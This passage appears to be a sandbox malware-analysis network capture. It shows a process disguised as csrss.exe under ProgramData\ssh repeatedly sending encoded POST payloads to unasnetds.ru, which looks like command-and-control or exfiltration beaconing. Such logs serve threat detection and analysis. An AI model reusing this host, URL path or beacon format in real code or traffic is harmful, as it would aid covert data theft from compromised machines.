Jan 3, 2025 11:48:38.002867937 CET	1040	OUT	Data Raw: 5f 56 5e 5e 5d 5e 50 5e 5a 5d 59 57 59 5a 5b 57 5f 53 54 54 50 5a 5b 56 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _V^^]^P^Z]YWYZ[W_STTPZ[VZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'-/R#+(## $;<+)/U2-V Y!%?,(/>] \'%^.0
Jan 3, 2025 11:48:38.124717951 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:38.392599106 CET	797	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=apR56hRxvWiUxa%2B7jOKNM0Nk1FJnFbQ2zXDHKKZNxvllMnju8WLc1Z1TPIh34b39riwT78ABLwZjOypCbc%2F3DqfTqqOa1tvbh7iFr5FnE7TcoBzcj%2FE714V16tftAJk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26ae5f9f6f02d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4713&min_rtt=1956&rtt_var=6248&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=60797&cwnd=76&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	51927	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:38.525047064 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
Jan 3, 2025 11:48:38.879761934 CET	1040	OUT	Data Raw: 5a 5d 5b 58 5d 52 55 50 5a 5d 59 57 59 59 5b 56 5f 5a 54 55 50 5c 5b 5b 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: Z][X]RUPZ]YWYY[V_ZTUP\[[Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$],<2S6;(!30%=;<("+)$&>4?%,<6=> \'%^.
Jan 3, 2025 11:48:38.977626085 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:39.233951092 CET	798	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=13ZKjoSQRXz%2BzLi%2BxwjARYFTP9seP%2BrTdr0t19Evm8PBUW0WQScmQhTF5XFIxAgreniB8uLYoChz4L14Ux0XY3v74JhtXuxDNARiPoElYNQEG0r2jBQAsroOlU2C8yQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26aeb5d5f43ef-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4681&min_rtt=1570&rtt_var=6811&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1361&delivery_rate=55177&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	51933	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:39.362071037 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
Jan 3, 2025 11:48:39.826127052 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:39.894040108 CET	1040	OUT	Data Raw: 5a 54 5b 5e 5d 5d 50 5d 5a 5d 59 57 59 59 5b 5a 5f 57 54 5b 50 55 5b 5e 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZT[^]]P]Z]YWYY[Z_WT[PU[^Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^',?=5;/R#383X,+8)]()'W&[9U /2,/=/>\) \'%^.
Jan 3, 2025 11:48:40.243303061 CET	796	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LECZiuDLYCQIsYFlJHZegJQvtKhDX9kmkNJeyowg%2FvbxmS6%2FXVueLtefrAFb9ZN8MmsOTvdwhupZlGYY6Yofl6X1aRDfD7sGEjveXK3VsBBPOjGekyUVzMOLDPgrYTI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26af0ac150f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4263&min_rtt=1466&rtt_var=6143&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1361&delivery_rate=61236&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	51943	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:40.364780903 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:40.721712112 CET	1040	OUT	Data Raw: 5a 52 5b 5f 5d 5b 55 50 5a 5d 59 57 59 58 5b 50 5f 57 54 59 50 5c 5b 58 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZR[_][UPZ]YWYX[P_WTYP\[XZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'9/16(#V!33['>?(*)(%>4Y"W&<3(<[)> \'%^.8
Jan 3, 2025 11:48:40.829176903 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:41.001945019 CET	800	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lI9smiJS0sZ5tkSIfd%2FgH7fjDRNG0zPKhXTm%2Fpd7JccU%2FUbxowgtXK6UQ0UtevilUNihQSvxOjCL%2FmPbIScqZ6cAR0XiacOUwJhcHKQ4mcusSXOJv4le1QbnWcoUN9I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26af6ed034373-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4005&min_rtt=1593&rtt_var=5421&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=69893&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	51949	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:41.135134935 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1032 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:41.487236977 CET	1032	OUT	Data Raw: 5a 50 5b 5f 5d 5b 55 51 5a 5d 59 57 59 5e 5b 5a 5f 55 54 5e 50 5f 5b 58 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZP[_][UQZ]YWY^[Z_UT^P_[XZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^',/>V5+W#U3Y3=7Z?!?9 %% ?%/?<Y* \'%^.
Jan 3, 2025 11:48:41.606229067 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:41.857625961 CET	799	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lpWwXRtDwf6skTb5iM6dAwuLa9mNQke2j1QFuQimLTTPC7W8x89nIlF2cK86D574i%2BiCRNz0O2hxlK3BdlpFd4%2FNtnHDfvuDaHL5RCFirRX2IvXnc7%2FdBHXUa4w0Fbs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26afbbf6f4271-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2907&min_rtt=1754&rtt_var=2963&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1377&delivery_rate=132993&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	51953	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:42.004491091 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:42.364936113 CET	1040	OUT	Data Raw: 5a 52 5b 5f 5d 5c 50 5c 5a 5d 59 57 59 5a 5b 57 5f 55 54 54 50 54 5b 5c 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZR[_]\P\Z]YWYZ[W_UTTPT[\Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$Z,<"T5;3!#'']?&(,2=*#T&,<^?+> \'%^.0
Jan 3, 2025 11:48:42.463920116 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:42.731826067 CET	809	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G3HqBbdvNL%2BDq9bMFYOCmzihb3sgUU5szCH7nG1WZCoOjYd2%2B0er9urpyZFlY3ceAzbb4ggNXEWT%2BT5%2FRdEveWuonU%2FNseYtPlu%2BirKD1q1yfoRg%2Fz4GLbpK%2FXn%2FtM0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b011de1428f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5230&min_rtt=2224&rtt_var=6847&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=55564&cwnd=99&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	51954	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:43.092730045 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	51955	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:43.134053946 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1756 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:43.487329960 CET	1756	OUT	Data Raw: 5a 54 5b 58 5d 5e 50 5e 5a 5d 59 57 59 5b 5b 56 5f 57 54 55 50 55 5b 5b 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZT[X]^P^Z]YWY[[V_WTUPU[[Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'./)5;!3''=;(5Z()Q1!R42/\<6. \'%^.4
Jan 3, 2025 11:48:43.597105980 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:43.870915890 CET	948	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=70Glh5N3ooJif6XeJuf37ZwT3aaP3mRHRYR3GCP89D09AR7Bz6EdHcviMVjSvE2Fi77ahtZNss1H3rsYXFMiRGAMtv6k%2FOMs%2FFKmk1lTX%2FbbMFfmWEvmiHVpt8BuO8Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b083dc98c30-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7774&min_rtt=1777&rtt_var=12661&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2101&delivery_rate=29342&cwnd=217&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0c 1d 21 11 34 3d 33 59 27 07 27 54 25 29 3a 0b 22 27 3e 15 2e 29 00 05 33 02 2f 52 28 39 33 56 27 11 03 1d 3d 01 2a 08 32 02 29 5f 32 03 2e 59 0d 11 38 16 2b 5a 3f 57 2a 17 02 57 29 11 28 42 27 3c 34 12 2a 15 24 02 3c 32 33 0c 37 11 13 54 28 32 21 1c 29 1a 29 14 29 31 30 02 26 25 2c 5e 0b 12 24 52 3c 08 2d 57 20 31 35 5d 26 13 15 5d 33 3a 01 1d 21 55 2c 19 27 02 24 58 2c 32 0b 14 32 37 38 5f 2a 2b 27 07 37 06 21 0a 2b 2d 27 50 2c 00 28 52 00 31 56 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 98!4=3Y''T%):"'>.)3/R(93V'=2)_2.Y8+Z?WW)(B'<4$<237T(2!)))10&%,^$R<-W 15]&]3:!U,'$X,2278_+'7!+-'P,(R1VT0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	51956	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:43.253819942 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:43.612308025 CET	1040	OUT	Data Raw: 5f 51 5e 59 5d 5e 55 5f 5a 5d 59 57 59 5f 5b 56 5f 55 54 54 50 5c 5b 5c 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _Q^Y]^U_Z]YWY_[V_UTTP\[\Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$:568;T#03]+"<_3Q2-R &/(^=<9>. \'%^.$
Jan 3, 2025 11:48:43.695986032 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:43.870930910 CET	799	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PTAWhGL1f9MfXAyxqIzLQgsvCuWr%2BG3xl3rA9KZX1w2ZmVtRb7L6BrG%2FBUaIUraYVS53f5THgzCtW16vEdtQ9Bfej8W3DAlJB9JzFKDWw8NRjgS4OMpSBQjRzpn%2BsEc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b08dbf2de94-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2453&min_rtt=1448&rtt_var=2554&sent=3&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=153781&cwnd=230&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	51957	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:43.989531040 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
Jan 3, 2025 11:48:44.346632957 CET	1040	OUT	Data Raw: 5a 55 5b 5b 5d 58 50 5b 5a 5d 59 57 59 5f 5b 5a 5f 51 54 5f 50 54 5b 5f 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZU[[]XP[Z]YWY_[Z_QT_PT[_Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$Z.?"?U4?Y$X7>;9[?92="?.1?/(/:> \'%^.$
Jan 3, 2025 11:48:44.452738047 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:44.719407082 CET	799	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=trOT3SkEqemhgq0u7iQq9tL7etaqUWPFDh8tmoytaRneYa0wJ0ba0IXUOzMBJQyfQxCc6%2FKxPJS7oBFjlMPPibOfboKWBPf7bsLpjby8ni4LLt%2BJ5b6p7TeEULt%2F1ko%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b0d8c1c8c9b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8257&min_rtt=1789&rtt_var=13608&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1361&delivery_rate=27270&cwnd=178&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	51958	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:44.854588032 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:45.206064939 CET	1040	OUT	Data Raw: 5a 51 5e 59 5d 5b 55 5b 5a 5d 59 57 59 56 5b 57 5f 5b 54 5d 50 58 5b 5d 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZQ^Y][U[Z]YWYV[W_[T]PX[]Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$:<!6; #?3=;<9(<'.="?.&,<X?Z9> \'%^.
Jan 3, 2025 11:48:45.307156086 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:45.483839989 CET	796	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CzaDCWMHOwYACjMll5pKOBMlJH03Ra29UrqwpOLTGaCJgBSQR8ZJpnOh3UOcbPLImuhwyA6Pf0VUjYYlPqj8UiocB9cMghiVK55hcABnQjJ99ZnxkdWE%2FM%2BmWXqlIQo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b12e94142fb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4466&min_rtt=1521&rtt_var=6461&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=58199&cwnd=211&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	51959	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:46.060422897 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
